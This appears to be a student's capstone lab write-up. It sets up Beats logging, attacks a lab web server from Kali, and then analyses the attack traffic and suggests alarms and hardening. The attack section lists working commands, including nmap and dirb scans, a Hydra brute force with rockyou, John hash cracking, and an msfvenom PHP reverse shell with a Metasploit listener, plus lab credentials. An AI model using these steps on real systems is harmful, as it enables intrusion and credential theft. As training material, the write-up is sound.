## Setting up Beats on Capstone

This is done for logging that attacks before attacking

* + Log into capstone
    - Vagrant:tnargav
  + Sudo su
  + Filebeat modules enable apace
  + Filebeat setup
  + Metricbeat modules enable apache
  + Metricbeat setup
  + Packetbeat setup
  + Systemctl restart filebeat
  + Systemctl restart metricbeat
  + Systemctl restart packetbeat

## Attacking capstone from kali

* Determine capstone ip
  + Run ifconfig on kali to determine subnet
    - Kali IP | 192.168.1.90
  + Run nmap against 192.168.1.1/24
    - * Nmap 192.168.1.0/24
    - Did not give enough information. Needed to run -sV to get more information
      * Nmap -sV 192.168.1.0/24
    - 192.168.1.100
      * Elastic Search | Ubuntu
    - 192.168.1.105
      * Apache | Ubuntu
    - Open <http://192.168.1.105>
  + Run dirb against apache server
    - Dirb <http://192.168.1.105>
      * Returned
        + \*/server-status

Access Forbiden

* + - * + \*/webdav

Username:Password login

* + Run Hydra against \*/company\_folders\_secret\_folder
    - Find wordlists
      * Locate rockyou
    - Cd /usr/share/wordlists
    - Ls
    - Gunzip rockyou.txt.gz
    - Ls
      * To verify unzip
    - Hydra help to see options/flags
    - Ashton manages secret folder
      * Use username ashton
    - Hydra -l ashton -P rockyou.txt -s 80 -f -vV 192.168.1.105 http-get /company\_folders/secret\_folder
      * ashton:leopoldo
    - open connect to corp server
      * webdav
      * ryan’s account
      * ryans hash
        + “d7dad0a5cd7c8376eeb50d69b3ccd352”
      * Echo d7dad0a5cd7c8376eeb50d69b3ccd352 > hash.txt
      * John hash.txt
      * John -show hash.txt
        + Ryan:linux4u
  + Upload reverse shell php
    - Msfvenom -p php/reverse\_php LHOST=192.168.1.90 LPORT=4445 -f raw > exploit.php
  + Create listener
    - Msfconsole
      * Use exploit/multi/handler
      * Set LHOST 192.168.1.90
      * Set LPORT 4445
      * Set exploit php/reverse\_php
    - Exploit
  + Cd /
  + Ls
  + Cat flag.txt

# Part 3

## Identifying offensive traffic

1. When did the attack occur?
   1. between 12am and 2 am UTC
2. What response did the victim send back?
   1. Http Code 401 (Unauthorized)
      1. 522,611 hits
3. What is concerning from the blue team perspective?
   1. There are a lot of unauthorized login attempts.

## Find the requests for the hidden directory

1. How many requests were made to the directory?
   1. 15,583
2. Which files were requested?
   1. connect\_to\_corp\_server
3. What kind of alarm would you set to detect this behavior in the future?
   1. Alert if more than x amount of requests in x amount of time
4. Identify at least one way to harden the vulnerable machine that would mitigate this request?
   1. Don’t list anywhere on the website the url

## Identify the brute force attack

1. Can you identify the packets specifically from hydra?
   1. User\_agent.original : Mozilla /4.0 (Hydra)
2. How many requests were made in the brute force attack?
   1. 15,574
3. How many requests had the attacker made before discovering the correct password in this one?
4. What kind of alarm would you set to detect this behavior in the future and at what threshold?
   1. Too many failed logins attempted | 5 per minute
5. Identify at least one way to harden the vulnerable machine that would mitigate this attack?
   1. Use more secure passwords
   2. Don’t list usernames on the website
   3. Don’t allow more than 5 failed logins per minute
   4. Lock out account for 10 minutes if exceeds allowable failed logins

## Find the WebDav session

1. How many requests were made to this directory?
   1. 27
2. Which files were requested?
   1. Meta.php
3. What kind of alarm would you set to detect this behavior in the future?
   1. Create an alarm that would trigger anytime this directory is accessed by an unauthorized machine.
4. Identify at least one way to harden the vulnerable machine that would mitigate this attack?
   1. Connections to this folder should not be accessible from web interface
   2. Access to this folder should be restricted by machine by firewall rules.

## Identify reverse shell and meterpreter traffic

1. Can you identify meterpreter session?
   1. Yes by destination port 4444. 4444 is meterpreter default port
2. What kind of alarm would you set to detect this behavior in the future?
   1. Alarm for anything on port 4444
   2. Alert for php uploads
3. Identify at least one way to harden the vulnerable machine that would mitigate this attack?
   1. Remove the ability to upload files